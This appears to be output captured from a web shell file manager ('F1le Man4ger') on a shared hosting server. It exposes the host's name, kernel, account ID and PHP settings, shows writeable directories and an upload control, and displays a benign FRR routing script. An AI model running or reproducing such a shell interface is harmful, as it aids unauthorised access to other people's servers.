Server : LiteSpeed
System : Linux us-phx-web1359.main-hosting.eu 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : u311880514 ( 311880514)
PHP Version : 8.1.31
Disable Function : NONE
Directory :  /lib/frr/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]


Current File : //lib/frr/watchfrr.sh
#!/bin/bash
#
# This is NOT the init script!  This is the watchfrr start/stop/restart
# command handler, passed to watchfrr with the -s/-r/-k commands.  It is used
# internally by watchfrr to start the protocol daemons with the appropriate
# options.
#
# This script should be installed in  /usr/lib/frr/watchfrr.sh

log_success_msg() {
	:
}

log_warning_msg() {
	echo "$@" >&2
	[ -x /usr/bin/logger ] && echo "$@" \
		| /usr/bin/logger -t watchfrr.sh -p daemon.warn
}

log_failure_msg() {
	echo "$@" >&2
	[ -x /usr/bin/logger ] && echo "$@" \
		| /usr/bin/logger -t watchfrr.sh -p daemon.err
}

self="`dirname $0`"
if [ -r "$self/frrcommon.sh" ]; then
	. "$self/frrcommon.sh"
else
	. "/usr/lib/frr/frrcommon.sh"
fi

frrcommon_main "$@"

F1le Man4ger